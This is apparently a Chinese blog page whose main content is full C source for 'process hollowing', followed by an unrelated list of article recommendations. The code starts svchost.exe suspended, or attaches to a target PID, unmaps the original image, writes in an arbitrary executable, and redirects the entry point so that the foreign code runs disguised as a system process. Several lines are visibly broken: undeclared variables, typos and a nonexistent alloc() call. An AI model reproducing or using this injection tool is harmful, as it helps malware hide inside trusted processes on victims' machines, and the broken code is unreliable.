在进程空间中插入另一个进程的代码细节化

Linux内核:进程管理——进程虚拟内存管理 在32位linux系统中,每一个进程拥有3GB的虚拟内存空间,所有进程共享1GB的内核空间。对每一个进程来讲,都有一个task_struct结构体,包含该进程的所有信息,其中就包括最为重要的mm_struct,它提供了进程在内存布局中的所有必要信息。1.当前运行代码的二进制代码text2.程序使用的动态库代码3.储存全局变量和动态产生数据的堆4.保存局部变量和实现函数/过程调用的栈5.保存环境变量和命令行参数的段6.将文件内容 映射到虚拟地址空间的内存映射0~3G的用户空间。 阅读详情
 作者: vxk         
    在Inject DLL Into Process的技术司空见惯的时代,江湖上出现了更令人惊讶Inject Thread Into Process的技术,
  不过这些Injection的功能多有局限性,如果可以Inject EXE(Process) Into Process该多好啊,习习~~其实Inject EXE的
  技术早已不是什么新东西,只是原先的Inject EXE是Linux/Unix的东西,没有几个成功被改造成Windows版的......
*/
复制内容到剪贴板
代码:
#include "stdafx.h"
#include "windows.h"
#include "tlhelp32.h"
#include "ntpsapi.h"

struct PE_Header
{
   unsigned long signature;
   unsigned short machine;
   unsigned short numSections;
   unsigned long timeDateStamp;
   unsigned long pointerToSymbolTable;
   unsigned long numOfSymbols;
   unsigned short sizeOfOptionHeader;
   unsigned short characteristics;
};

struct PE_ExtHeader
{
   unsigned short magic;
   unsigned char majorLinkerVersion;
   unsigned char minorLinkerVersion;
   unsigned long sizeOfCode;
   unsigned long sizeOfInitializedData;
   unsigned long sizeOfUninitializedData;
   unsigned long addressOfEntryPoint;
   unsigned long baseOfCode;
   unsigned long baseOfData;
   unsigned long imageBase;
   unsigned long sectionAlignment;
   unsigned long fileAlignment;
   unsigned short majorOSVersion;
   unsigned short minorOSVersion;
   unsigned short majorImageVersion;
   unsigned short minorImageVersion;
   unsigned short majorSubsystemVersion;
   unsigned short minorSubsystemVersion;
   unsigned long reserved1;
   unsigned long sizeOfImage;
   unsigned long sizeOfHeaders;
   unsigned long checksum;
   unsigned short subsystem;
   unsigned short DLLCharacteristics;
   unsigned long sizeOfStackReserve;
   unsigned long sizeOfStackCommit;
   unsigned long sizeOfHeapReserve;
   unsigned long sizeOfHeapCommit;
   unsigned long loaderFlags;
   unsigned long numberOfRVAAndSizes;
   unsigned long exportTableAddress;
   unsigned long exportTableSize;
   unsigned long importTableAddress;
   unsigned long importTableSize;
   unsigned long resourceTableAddress;
   unsigned long resourceTableSize;
   unsigned long exceptionTableAddress;
   unsigned long exceptionTableSize;
   unsigned long certFilePointer;
   unsigned long certTableSize;
   unsigned long relocationTableAddress;
   unsigned long relocationTableSize;
   unsigned long debugDataAddress;
   unsigned long debugDataSize;
   unsigned long archDataAddress;
   unsigned long archDataSize;
   unsigned long globalPtrAddress;
   unsigned long globalPtrSize;
   unsigned long TLSTableAddress;
   unsigned long TLSTableSize;
   unsigned long loadConfigTableAddress;
   unsigned long loadConfigTableSize;
   unsigned long boundImportTableAddress;
   unsigned long boundImportTableSize;
   unsigned long importAddressTableAddress;
   unsigned long importAddressTableSize;
   unsigned long delayImportDescAddress;
   unsigned long delayImportDescSize;
   unsigned long COMHeaderAddress;
   unsigned long COMHeaderSize;
   unsigned long reserved2;
   unsigned long reserved3;
};


struct SectionHeader
{
   unsigned char sectionName[8];
   unsigned long virtualSize;
   unsigned long virtualAddress;
   unsigned long sizeOfRawData;
   unsigned long pointerToRawData;
   unsigned long pointerToRelocations;
   unsigned long pointerToLineNumbers;
   unsigned short numberOfRelocations;
   unsigned short numberOfLineNumbers;
   unsigned long characteristics;
};

struct MZHeader
{
   unsigned short signature;
   unsigned short partPag;
   unsigned short pageCnt;
   unsigned short reloCnt;
   unsigned short hdrSize;
   unsigned short minMem;
   unsigned short maxMem;
   unsigned short reloSS;
   unsigned short exeSP;
   unsigned short chksum;
   unsigned short exeIP;
   unsigned short reloCS;
   unsigned short tablOff;
   unsigned short overlay;
   unsigned char reserved[32];
   unsigned long offsetToPE;
};


struct ImportDirEntry
{
   DWORD importLookupTable;
   DWORD timeDateStamp;
   DWORD fowarderChain;
   DWORD nameRVA;
   DWORD importAddressTable;
};

struct FixupBlock
{
   unsigned long pageRVA;
   unsigned long blockSize;
};

#define TARGETPROC "svchost.exe" ;

typedef struct _PROCINFO
{
   DWORD baseAddr;
   DWORD imageSize;
} PROCINFO;

BOOL EXPD = False ;
CHAR *PID;

//**********************************************************************************************************
//
// This function reads the MZ, PE, PE extended and Section Headers from an EXE file.
//
//**********************************************************************************************************

bool readPEInfo(FILE *fp, MZHeader *outMZ, PE_Header *outPE, PE_ExtHeader *outpeXH,
           SectionHeader **outSecHdr)
{
   fseek(fp, 0, SEEK_END);
   long fileSize = ftell(fp);
   fseek(fp, 0, SEEK_SET);

   if(fileSize < sizeof(MZHeader))
   {
      printf("File size too small/n");      
      return false;
   }

   // read MZ Header
   MZHeader mzH;
   fread(&mzH, sizeof(MZHeader), 1, fp);

   if(mzH.signature != 0x5a4d)      // MZ
   {
      printf("File does not have MZ header/n");
      return false;
   }

   printf("Offset to PE Header = %X/n", mzH.offsetToPE);

   if((unsigned long)fileSize < mzH.offsetToPE + sizeof(PE_Header))
   {
      printf("File size too small/n");      
      return false;
   }

   // read PE Header
   fseek(fp, mzH.offsetToPE, SEEK_SET);
   PE_Header peH;
   fread(&peH, sizeof(PE_Header), 1, fp);

   printf("Size of option header = %d/n", peH.sizeOfOptionHeader);
   printf("Number of sections = %d/n", peH.numSections);

   if(peH.sizeOfOptionHeader != sizeof(PE_ExtHeader))
   {
      printf("Unexpected option header size./n");
      
      return false;
   }

   // read PE Ext Header
   PE_ExtHeader peXH;

   fread(&peXH, sizeof(PE_ExtHeader), 1, fp);

   printf("Import table address = %X/n", peXH.importTableAddress);
   printf("Import table size = %X/n", peXH.importTableSize);
   printf("Import address table address = %X/n", peXH.importAddressTableAddress);
   printf("Import address table size = %X/n", peXH.importAddressTableSize);


   // read the sections
   SectionHeader *secHdr = new SectionHeader[peH.numSections];

   fread(secHdr, sizeof(SectionHeader) * peH.numSections, 1, fp);

   *outMZ = mzH;
   *outPE = peH;
   *outpeXH = peXH;
   *outSecHdr = secHdr;

   return true;
}


//**********************************************************************************************************
//
// This function calculates the size required to load an EXE into memory with proper alignment.
//
//**********************************************************************************************************

int calcTotalImageSize(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
                SectionHeader *inSecHdr)
{
   int result = 0;
   int alignment = inpeXH->sectionAlignment;

   if(inpeXH->sizeOfHeaders % alignment == 0)
      result += inpeXH->sizeOfHeaders;
   else
   {
      int val = inpeXH->sizeOfHeaders / alignment;
      val++;
      result += (val * alignment);
   }


   for(int i = 0; i < inPE->numSections; i++)
   {
      if(inSecHdr[i].virtualSize)
      {
        if(inSecHdr[i].virtualSize % alignment == 0)
           result += inSecHdr[i].virtualSize;
        else
        {
           int val = inSecHdr[i].virtualSize / alignment;
           val++;
           result += (val * alignment);
        }
      }
   }

   return result;
}


//**********************************************************************************************************
//
// This function calculates the aligned size of a section
//
//**********************************************************************************************************

unsigned long getAlignedSize(unsigned long curSize, unsigned long alignment)
{   
   if(curSize % alignment == 0)
      return curSize;
   else
   {
      int val = curSize / alignment;
      val++;
      return (val * alignment);
   }
}


//**********************************************************************************************************
//
// This function loads a PE file into memory with proper alignment.
// Enough memory must be allocated at ptrLoc.
//
//**********************************************************************************************************

bool loadPE(FILE *fp, MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
        SectionHeader *inSecHdr, LPVOID ptrLoc)
{
   char *outPtr = (char *)ptrLoc;

   fseek(fp, 0, SEEK_SET);
   unsigned long headerSize = inpeXH->sizeOfHeaders;

   // certain PE files have sectionHeaderSize value > size of PE file itself.  
   // this loop handles this situation by find the section that is nearest to the
   // PE header.

   for(int i = 0; i < inPE->numSections; i++)
   {
      if(inSecHdr[i].pointerToRawData < headerSize)
        headerSize = inSecHdr[i].pointerToRawData;
   }

   // read the PE header
   unsigned long readSize = fread(outPtr, 1, headerSize, fp);
   printf("HeaderSize = %d/n", headerSize);
   if(readSize != headerSize)
   {
      printf("Error reading headers (%d %d)/n", readSize, headerSize);
      return false;      
   }

   outPtr += getAlignedSize(inpeXH->sizeOfHeaders, inpeXH->sectionAlignment);

   // read the sections
   for(i = 0; i < inPE->numSections; i++)
   {
      if(inSecHdr[i].sizeOfRawData > 0)
      {
        unsigned long toRead = inSecHdr[i].sizeOfRawData;
        if(toRead > inSecHdr[i].virtualSize)
           toRead = inSecHdr[i].virtualSize;

        fseek(fp, inSecHdr[i].pointerToRawData, SEEK_SET);
        readSize = fread(outPtr, 1, toRead, fp);

        if(readSize != toRead)
        {
           printf("Error reading section %d/n", i);
           return false;
        }
        outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment);
      }
      else
      {
        // this handles the case where the PE file has an empty section. E.g. UPX0 section
        // in UPXed files.

        if(inSecHdr[i].virtualSize)
           outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment);
      }
   }

   return true;
}





//**********************************************************************************************************
//
// This function loads a PE file into memory with proper alignment.
// Enough memory must be allocated at ptrLoc.
//
//**********************************************************************************************************

void doRelocation(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
            SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD newBase)
{
   if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
   {
      FixupBlock *fixBlk = (FixupBlock *)((char *)ptrLoc + inpeXH->relocationTableAddress);
      long delta = newBase - inpeXH->imageBase;

      while(fixBlk->blockSize)
      {
        printf("Addr = %X/n", fixBlk->pageRVA);
        printf("Size = %X/n", fixBlk->blockSize);

        int numEntries = (fixBlk->blockSize - sizeof(FixupBlock)) >> 1;
        printf("Num Entries = %d/n", numEntries);

        unsigned short *offsetPtr = (unsigned short *)(fixBlk + 1);

        for(int i = 0; i < numEntries; i++)
        {
           DWORD *codeLoc = (DWORD *)((char *)ptrLoc + fixBlk->pageRVA + (*offsetPtr & 0x0FFF));
           
           int relocType = (*offsetPtr & 0xF000) >> 12;
           
           printf("Val = %X/n", *offsetPtr);
           printf("Type = %X/n", relocType);

           if(relocType == 3)
              *codeLoc = ((DWORD)*codeLoc) + delta;
           else
           {
              printf("Unknown relocation type = %d/n", relocType);
           }
           offsetPtr++;
        }

        fixBlk = (FixupBlock *)offsetPtr;
      }
   }   
}


//**********************************************************************************************************
//
// Creates the original EXE in suspended mode and returns its info in the PROCINFO structure.
//
//**********************************************************************************************************


      
      
BOOL createChild(PPROCESS_INFORMATION pi, PCONTEXT ctx, PROCINFO *outChildProcInfo)
{
   STARTUPINFO si = {0};
   if(!EXPD)
      {
   if(CreateProcess(NULL, TARGETPROC,
              NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, pi))      
   {
      ctx->ContextFlags=CONTEXT_FULL;
      GetThreadContext(pi->hThread, ctx);

      DWORD *pebInfo = (DWORD *)ctx->Ebx;
      DWORD read;
      ReadProcessMemory(pi->hProcess, &pebInfo[2], (LPVOID)&(outChildProcInfo->baseAddr), sizeof(DWORD), &read);
   
      DWORD curAddr = outChildProcInfo->baseAddr;
      MEMORY_BASIC_INFORMATION memInfo;
      while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr, &memInfo, sizeof(memInfo)))
      {
        if(memInfo.State == MEM_FREE)
           break;
        curAddr += memInfo.RegionSize;
      }
      outChildProcInfo->imageSize = (DWORD)curAddr - (DWORD)outChildProcInfo->baseAddr;

      return TRUE;
   }
   } else
   {
    DEBUG_EVENT DBEvent;
    if(DebugActiveProcess((DWORD)*PID))
    {
       WaitForDebugEvent(&DBEvent,INFINITE);
       pi->hThread=DBEvent.u.CreateProcessInfo.hThread;
       pi->hprocess=DBEvent.u.CreateProcessInfo.hProcess;
         ctx->ContextFlags=CONTEXT_FULL;
      GetThreadContext(pi->hThread, ctx);
      DWORD *pebInfo2 = (DWORD *)ctx->Fs;
      *pedInfo2+=0x30;
      DWORD read2;
      ReadProcessMemory(pi->hProcess, &pebInfo2[2], (LPVOID)&(outChildProcInfo2->baseAddr), sizeof(DWORD), &read2);
   
      DWORD curAddr2 = outChildProcInfo2->baseAddr;
      MEMORY_BASIC_INFORMATION memInfo2;
      while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr2, &memInfo2, sizeof(memInfo2)))
      {
        if(memInfo2.State == MEM_FREE)
           break;
        curAddr2+= memInfo2.RegionSize;
      }
      outChildProcInfo2->imageSize = (DWORD)curAddr2 - (DWORD)outChildProcInfo2->baseAddr;

      return TRUE;
      }
   }
   
   return FALSE;
}


//**********************************************************************************************************
//
// Returns true if the PE file has a relocation table
//
//**********************************************************************************************************

BOOL hasRelocationTable(PE_ExtHeader *inpeXH)
{
   if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
   {
      return TRUE;
   }
   return FALSE;
}


typedef DWORD (WINAPI *PTRZwUnmapViewOfSection)(IN HANDLE ProcessHandle, IN PVOID BaseAddress);


//**********************************************************************************************************
//
// To replace the original EXE with another one we do the following.
// 1) Create the original EXE process in suspended mode.
// 2) Unmap the image of the original EXE.
// 3) Allocate memory at the baseaddress of the new EXE.
// 4) Load the new EXE image into the allocated memory.  
// 5) Windows will do the necessary imports and load the required DLLs for us when we resume the suspended
//   thread.
//
// When the original EXE process is created in suspend mode, GetThreadContext returns these useful
// register values.
// EAX - process entry point
// EBX - points to PEB
//
// So before resuming the suspended thread, we need to set EAX of the context to the entry point of the
// new EXE.
//
//**********************************************************************************************************

void doFork(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
        SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD imageSize)
{
   STARTUPINFO si = {0};
   PROCESS_INFORMATION pi;
   CONTEXT ctx;
   PROCINFO childInfo;
   
   if(createChild(&pi, &ctx, &childInfo))
   {      
      printf("Original EXE loaded (PID = %d)./n", pi.dwProcessId);
      printf("Original Base Addr = %X, Size = %X/n", childInfo.baseAddr, childInfo.imageSize);
      
      LPVOID v = (LPVOID)NULL;
      
      if(inpeXH->imageBase == childInfo.baseAddr && imageSize <= childInfo.imageSize)
      {
        // if new EXE has same baseaddr and is its size is <= to the original EXE, just
        // overwrite it in memory
        v = (LPVOID)childInfo.baseAddr;
        DWORD oldProtect;
        VirtualProtectEx(pi.hProcess, (LPVOID)childInfo.baseAddr, childInfo.imageSize, PAGE_EXECUTE_READWRITE, &oldProtect);        
        
        printf("Using Existing Mem for New EXE at %X/n", (unsigned long)v);
      }
      else
      {
        // get address of ZwUnmapViewOfSection
        PTRZwUnmapViewOfSection pZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");

        // try to unmap the original EXE image
        if(pZwUnmapViewOfSection(pi.hProcess, (LPVOID)childInfo.baseAddr) == 0)
        {
           // allocate memory for the new EXE image at the prefered imagebase.
           v = VirtualAllocEx(pi.hProcess, (LPVOID)inpeXH->imageBase, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
           if(v)
              printf("Unmapped and Allocated Mem for New EXE at %X/n", (unsigned long)v);
        }
      }

      if(!v && hasRelocationTable(inpeXH))
      {
        // if unmap failed but EXE is relocatable, then we try to load the EXE at another
        // location
        v = VirtualAllocEx(pi.hProcess, (void *)NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if(v)
        {
           printf("Allocated Mem for New EXE at %X. EXE will be relocated./n", (unsigned long)v);

           // we&#39;ve got to do the relocation ourself if we load the image at another
           // memory location           
           doRelocation(inMZ, inPE, inpeXH, inSecHdr, ptrLoc, (DWORD)v);
        }
      }

      printf("EIP = %X/n", ctx.Eip);
      printf("EAX = %X/n", ctx.Eax);
      printf("EBX = %X/n", ctx.Ebx);      // EBX points to PEB
      printf("ECX = %X/n", ctx.Ecx);
      printf("EDX = %X/n", ctx.Edx);
      
      if(v)
      {        
        printf("New EXE Image Size = %X/n", imageSize);
        
        // patch the EXE base addr in PEB (PEB + 8 holds process base addr)
        DWORD *pebInfo = (DWORD *)ctx.Ebx;
        DWORD wrote;               
        WriteProcessMemory(pi.hProcess, &pebInfo[2], &v, sizeof(DWORD), &wrote);

        // patch the base addr in the PE header of the EXE that we load ourselves
        PE_ExtHeader *peXH = (PE_ExtHeader *)((DWORD)inMZ->offsetToPE + sizeof(PE_Header) + (DWORD)ptrLoc);
        peXH->imageBase = (DWORD)v;
        
        if(WriteProcessMemory(pi.hProcess, v, ptrLoc, imageSize, NULL))
        {   
           printf("New EXE image injected into process./n");

           ctx.ContextFlags=CONTEXT_FULL;           
           //ctx.Eip = (DWORD)v + ((DWORD)dllLoaderWritePtr - (DWORD)ptrLoc);
           
           if((DWORD)v == childInfo.baseAddr)
           {
              ctx.Eax = (DWORD)inpeXH->imageBase + inpeXH->addressOfEntryPoint;      // eax holds new entry point
           }
           else
           {
              // in this case, the DLL was not loaded at the baseaddr, i.e. manual relocation was
              // performed.
              ctx.Eax = (DWORD)v + inpeXH->addressOfEntryPoint;      // eax holds new entry point
           }

           printf("********> EIP = %X/n", ctx.Eip);
           printf("********> EAX = %X/n", ctx.Eax);

           SetThreadContext(pi.hThread,&ctx);

           ResumeThread(pi.hThread);
           printf("Process resumed (PID = %d)./n", pi.dwProcessId);
        }
        else
        {
           printf("WriteProcessMemory failed/n");
           TerminateProcess(pi.hProcess, 0);
        }
      }
      else
      {
        printf("Load failed.  Consider making this EXE relocatable./n");
        TerminateProcess(pi.hProcess, 0);
      }
   }
   else
   {
      printf("Cannot load %s/n", TARGETPROC);
   }
}




int main(int argc, char* argv[])
{
   if((argc < 2 )||(argc > 3))
   {
      printf("/nUsage: %s  [pid]/n", argv[0]);
      return 1;
   }
      if(argc==3){
      alloc(PID,1024);
      memset(PID,0,1024);
      strcpy(PID,argv[2]);
      EXPD= True ;
      }
      
   FILE *fp = fopen(argv[1], "rb");
   if(fp)
   {
      MZHeader mzH;
      PE_Header peH;
      PE_ExtHeader peXH;
      SectionHeader *secHdr;

      if(readPEInfo(fp, &mzH, &peH, &peXH, &secHdr))
      {
        int imageSize = calcTotalImageSize(&mzH, &peH, &peXH, secHdr);
        printf("Image Size = %X/n", imageSize);

        LPVOID ptrLoc = VirtualAlloc(NULL, imageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if(ptrLoc)
        {
           printf("Memory allocated at %X/n", ptrLoc);
           loadPE(fp, &mzH, &peH, &peXH, secHdr, ptrLoc);                                
           
           doFork(&mzH, &peH, &peXH, secHdr, ptrLoc, imageSize);                     
        }
        else
           printf("Allocation failed/n");
      }

      fclose(fp);
   }
   else
      printf("/nCannot open the EXE file!/n");

   return 0;
}
进程线程创建过程 一、进程创建过程 所有进程都通过 PspCreateProcess 函数创建,包括 System 进程。它被三个函数调用,分别是NtCreateProcessEx、PsCreateSystemProcess 和 PspInitPhase0 。 NtCreateProcessEx 是 CreateProcess 的内核服务; PspInitPhase0 函数是系统初始化早期调用的,它创建了 System 进程,System 进程的句柄保存在全局变量 PspInitialSystemProcessHandle 阅读详情

相关推荐

Linux 内核中的线程和进程创建机制

在 Linux 系统中,无论是创建线程还是进程,最终都通过 _do_fork 这一内核函数来完成。用户空间的 fork 和 pthread_create 函数分别调用了 sys_fork 和 sys_clone 系统调用,这些调用在内核中经过层层封装,最终到 _do_fork 函数处理。通过这种统一机制,Linux 内核能够高效地管理进程和线程的创建,并且能够灵活地控制资源的分配与共享。在此机制下,线程与进程的主要区别在于内核处理资源共享的细节,这使得线程更加轻量级,适合用于需要高效并发的应用场景。

数字人生 271

第5章 插叙:进程API

5.1 fork系统调用 p1.c代码: #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(int argc, char *argv[]) { printf("hello world (pid:%d)\n", (int) getpid()); int rc = fork(); if (rc < 0 ) { fprintf(stderr, "

L_H_L的博客 490

向另一进程插入DLL的几种方法

向另一进程插入DLL的几种方法,我学习的资料分享出来,免费的呦

代码注入

代码注入是一种向目标进程插入独立运行代码并使之运行的技术,它一般调用CreateRomoteThread() API以远程线程形式运行插入的代码,所以也被称为线程注入。 首先向目标进程target.exe插入代码与数据,在此过程中,代码以线程过程(Thread Procedure)形式插入,而代码中使用的数据则以线程参数的形式传入,也就是说,代码与数据是分别注入的。 DLL注入与代码注入 下面这段代码用来弹出Windows消息框: DWORD WINAPI ThreadProc(LPVOID lP.

qq_39249347的博客 2633

人形机器人五大核心零部件技术解析与国产化实况

人形机器人并非简单机械集成,而是物理、能量、感知、决策与执行五层系统毫秒级协同的复杂体。其性能瓶颈往往不在于整机算法,而深植于谐波减速器的刚度稳定性、无框力矩电机的功率密度与温升控制、六维力传感器的动态响应与温漂抑制、运动控制器的实时OS生态及灵巧手的多指协同精度等底层硬件能力。这些部件共同构成整机68.3%的成本,且国产化率差异显著——谐波减速器达72%,而高精度力矩传感器仍受制于日德厂商。本文聚焦‘谐波减速器’和‘六维力传感器’两大热词,从材料工艺、参数定义、失效模式到产线验证,揭示真正卡脖子的技术关卡

weixin_29065959的博客 408

AI 推理与服务(AI Inference and Serving)

AI 推理和服务是现代分布式系统中的重要组成部分。通过合理应用 AI 推理和服务的最佳实践,可以显著提高系统的智能性和用户体验。本章介绍了 AI 推理和服务的核心概念、最佳实践以及在分布式系统中的应用,希望这些内容能帮助您构建更智能、更高效的分布式系统。

蜗牛沐雨 1388

如何在程序执行前插入可执行代码(算是吾爱的作业吧,活学活用)

0x01准备(爱盘可以下载) 1.OD 2.stud_PE 0x02 给程序增加一个为xxx的区段 也可以在程序空着的地方添加程序不...

墨鱼菜鸡 604

Python 爬虫实战:爬取去哪儿网酒店评价,提取住宿体验关键词

本文介绍了基于去哪儿网酒店评价数据的爬取与分析方法。首先通过分析网页结构和数据加载机制,定位到评价数据的JSON接口及关键参数。然后使用Python搭建爬虫环境,实现多页评价数据的批量采集与存储,并通过反爬策略确保数据获取的稳定性。在文本分析环节,采用jieba分词和TF-IDF算法提取高频关键词,结合词云可视化展示用户关注点。分析结果显示位置、服务、卫生是核心关注维度,同时识别出好评与差评的关键驱动因素。该方法为酒店服务优化和消费者决策提供了数据支持,并可通过扩展实现更深入的情感分析和竞品对比。

2503_91057718的博客 1000

Readprocessmemory使用方法

函数功能:该函数从指定的进程中读入内存信息,被读取的区域必须具有訪问权限。   函数原型:BOOL ReadProcessMemory(HANDLE hProcess,LPCVOID lpBaseAddress,LPVOID lpBuffer,DWORD nSize,LPDWORD lpNumberOfBytesRead);   參数: hProcess:进程句柄   lpBas...

weixin_33918114的博客 890

企业AI选型大揭秘:扣子(Coze) Bot与微信对话开放平台深度剖析

本文对比分析了字节跳动的扣子(Coze)Bot和腾讯的微信对话开放平台两款AI聊天机器人解决方案。扣子(Coze)Bot凭借强大的大模型支持、丰富的插件生态、低代码开发及多平台部署能力,在功能丰富度和灵活性方面表现突出,适合技术实力强、业务场景复杂的企业。微信对话开放平台则依托微信生态优势,在客户服务和营销推广场景中更具优势,其零门槛接入方式更适合技术能力较弱的企业。企业在选型时应综合考虑规模、预算、业务场景和技术能力等因素,选择最适合的AI解决方案,以充分发挥AI技术价值,提升企业竞争力。

远程部署调试 运行安装 项目调试 二次开发 项目技术新 持续迭代 部分源码免费分享 435

MySQL 一一 MySQL基本使用

1、数据库 简单来说,所谓的数据库就是存储数据的容器,而且是永久存储的。 2、为什么需要数据库 3、为什么要学习MySQL数据库 最早MySQL数据,瑞典AB公司开发的一款开源型的关系型数据库。 随着时间的推移,瑞典AB公司把MySQL数据库转让给Sun公司(Java语言的创始公司) 后来,Sun公司经营不善,又把MySQL数据库转让给甲骨文公司(Oracle数据库) 4、数

Guizy 7万+

进程(一)操作系统原理及Linux进程源语

这部分有点乱,先说下进程的状态,然后是一些概念,最后是Linux中的一些特别的进程和源语。   进程的状态 一般上进程有四种状态就绪(ready)、执行(running)、阻塞(blocked)、挂起(suspend)状态。 1)就绪状态 进程获得了除CPU以外的所有资源,系统中可能存在多个就绪状态的进程,通常将它们组成一个队列称为就绪队列。 2)执行状态 进程在执行的过程中总要涉及

胜利者的经验并不复杂,那就是寻找人生的关键点,并在关键时刻竭尽全力 1773

如何设计提示词来减少 AI 的幻觉问题?

如何设计提示词来减少 AI 的幻觉问题?

我哎GIS博客 2472

Linux进程地址空间学习总结

Linux内核--内核地址空间分布和进程地址空间 http://www.cnblogs.com/bizhu/archive/2012/10/09/2717303.html  内核地址空间分布 直接映射区:线性空间中从3G开始最大896M的区间,为直接内存映射区,该区域的线性地址和物理地址 存在线性转换关系:线性地址=3G+物理地址。 动态内存映射区

bcbobo21cn的专栏 903

C++面向对象编程-继承与派生练习题

2、共同派生类 3、人员类Person的派生(虚基类的使用)

编程小鹏的博客 1193

6、硬件工程师笔试面试知识器件篇——电容(2025版本)

本文系统介绍了电容器的基本原理、类型分类、应用场景及相关设计问题。首先阐述了电容的定义、工作原理及计算公式,详细分析了陶瓷、电解、薄膜、钽等不同类型电容的特性差异。针对高频电路设计,重点讨论了如何评估和优化电容器的寄生效应(ESR/ESL)、频率特性、温度特性等关键参数。文章还提供了PCB布局优化策略,包括缩短走线、多层板设计、去耦网络配置等方法。最后涵盖了电容器寿命计算、稳定性评估及电源电路设计中的纹波电流处理等实用内容,为硬件工程师提供了全面的电容器选型和应用指南。

XU157303764的博客 3874

针对java程序员的了解细节操作系统与进程

操作系统,进程

weixin_72953218的博客 369

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

Linux进程概念

定义在Linux内核源码的中,是一个复杂结构体,被加载到内存(RAM)中,用于描述和管理进程。pid_t pid;// 进程IDpid_t ppid;// 父进程IDint state;// 进程状态int prio;// 优先级// 栈指针// 进程地址空间// ... 更多字段子进程退出后,若父进程未调用wait()或waitpid()读取退出信息,子进程进入僵尸状态(Zombie),成为僵尸进程。示例代码if (pid == 0) { // 子进程i > 0;i--) {

hu_yuchen的博客 974

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

Linux访问其他进程空间,Linux环境进程间通信系列(五):共享内存

共享内存可以说是最有用的进程间通信方式,也是最快的IPC形式。两个不同进程A、B共享内存的意思是,同一块物理内存被映射到进程A、B各自的进程地址空间。进程A可以即时看到进程B对共享内存中数据的更新,反之亦然。由于多个进程共享同一块内存区域,必然需要某种同步机制,互斥锁和信号量都可以。采用共享内存通信的一个显而易见的好处是效率高,因为进程可以直接读写内存,而不需要任何数据的拷贝。对于像管道和消息队列...

weixin_33128371的博客 723

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

0分配不到地址_Linux的进程地址空间[三]

mm_struct上文vm_area_struct中还有一个vm_mm没讲到,而这个vm_mm,则是联系vm_area_struct和它所属进程的关键纽带。它指向的是负责管理内存的mm_struct结构体,而这个mm_struct又可以从task_struct这个几乎记录了一个进程所有信息的结构体中获取。来看下struct mm_struct中与vma相关的元素有哪些:struct mm_stru...

weixin_39869791的博客 214

操作系统实验:进程调度

(一)实验目的 要求设计一个模拟进程调度的算法 理解进程控制块的结构和作用 理解进程运行的并发性 掌握动态优先级的时间片轮转调度算法 (二)实验目的 在多道程序运行环境下,进程数目一般多于处理机数目,使得进程要通过竞争来使用处理机。这就要求系统能按某种算法,动态地把处理机分配给就绪队列中的一个进程,使之运行,分配处理机的任务是由进程调度程序完成的。一个进程被创建后,系统为了便于对进程进行管理,将系统中的所有进程按其状态,将其组织成不同的进程队...

weixin_50551204的博客 1525

分析Linux内核创建一个新进程的过程

刘文 + 原创作品转载请注明出处 + 《Linux内核分析》MOOC课程http://mooc.study.163.com/course/USTC-1000029000 这一周的课程我们主要分析了Linux内核中关于进程的部分,重点是研究Linux内核创建一个新进程的过程及其源代码。我们先看一下使用fork函数创建一个进程的简单代码: #include #include #include

Morse1113的博客 591

C++中一些小细节

1- "\n"表示一个字符串,只有一个数据是回车。 '\n'表示一个字符。 这两个在输出上是一样的! 2- 关于endl; a.在 C++ 中,终端输出换行时,用 cout<<…<<endl 与 “\n” 都可以,这是初级的认识。但二者有小小的区别,用 endl 时会刷新缓冲区,使得栈中的东西刷新一次,但用 “\n” 不会刷新,它只会换行,盏内数据没有变化。但一般情况,二者...

xiaosi的博客 906

第三章 进程

1.进程、轻量级进程和线程 引入进程的目的是担当恰当的分配系统资源的实体 linux使用轻量级进程对多线程应用程序提供更好的支持 POSIX兼容的pthread库使用Linux轻量级进程有3个例子,它们是 LinuxThreads 、 Native Posix Thread Library(NPTL) 和IBM的下一代Posix线程包 NGPT(Next Generation Posix Th...

hzq_blog 248

【PGCCC】Postgres MVCC 内部:更新与插入的隐性成本

为了理解为什么更新行为与插入不同,我们首先看看 MVCC 在 Postgres 中的工作方式。多版本并发控制 (MVCC) 是 Postgres 用于处理同一行的并发事务同时保持数据一致性和隔离性的机制。Postgres 不会在读取和写入期间锁定行,而是创建一行的多个版本,以允许事务在不相互阻塞的情况下运行。一行的多个版本被称为元组 (Tuples)。如果插入一行,则有 1 个元组与之关联。如果更新同一行,则存在 2 个元组,其中一个是活的,另一个是死的。

